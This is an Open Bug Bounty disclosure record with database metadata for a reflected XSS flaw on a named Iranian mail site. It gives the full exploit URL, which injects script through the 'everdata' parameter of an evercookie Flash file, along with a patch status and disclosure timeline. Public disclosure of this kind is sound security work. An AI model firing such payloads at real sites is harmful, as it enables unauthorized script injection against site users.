Description
##### Vulnerable URL:
http://mail.setadaja.ir/plugins/signinseal/evercookie.swf?everdata=%27);alert(/XSSPOSED/);var%20_evercookie_flash_var=1//
##### Details:
Description| Value
---|---
Patched:| Yes, at
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check mail.setadaja.ir SSL connection:| (Grade: F)
##### Coordinated Disclosure Timeline:
Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 20 June, 2016 21:12 GMT
Vulnerability existence verified and confirmed| 21 June, 2016 06:42 GMT
Vulnerability details disclosed by researcher| 5 July, 2016 07:11 GMT
{"type": "openbugbounty", "viewCount": 4, "enchantments": {"score": {"value": -0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.0}, "reporter": "amlnspqr", "title": "mail.setadaja.ir XSS vulnerability ", "cvelist": [], "bulletinFamily": "bugbounty", "cvss": {"score": 0.0, "vector": "NONE"}, "references": [], "enchantments_done": [], "modified": "2016-07-05T07:11:00", "description": "##### Vulnerable URL:\n \n \n http://mail.setadaja.ir/plugins/signinseal/evercookie.swf?everdata=%27);alert(/XSSPOSED/);var%20_evercookie_flash_var=1//\n \n\n##### Details:\n\nDescription| Value \n---|--- \nPatched:| Yes, at \nVulnerability type:| XSS \nVulnerability status:| Publicly disclosed \nAlexa Rank| Unknown / Not calculated \nVIP website status:| No \nCheck mail.setadaja.ir SSL connection:| (Grade: F) \n \n##### Coordinated Disclosure Timeline:\n\nDescription| Value \n---|--- \nVulnerability submitted via Open Bug Bounty| 20 June, 2016 21:12 GMT \nVulnerability existence verified and confirmed| 21 June, 2016 06:42 GMT \nVulnerability details disclosed by researcher| 5 July, 2016 07:11 GMT\n", "href": "https://www.openbugbounty.org/reports/160220/", "id": "OBB:160220", "lastseen": "2017-10-17T04:34:44", "openbugbounty": {"patchStatus": "patched", "mirror": ""}, "published": "2016-06-20T21:12:00", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645472067, "score": 1659781692}}
{}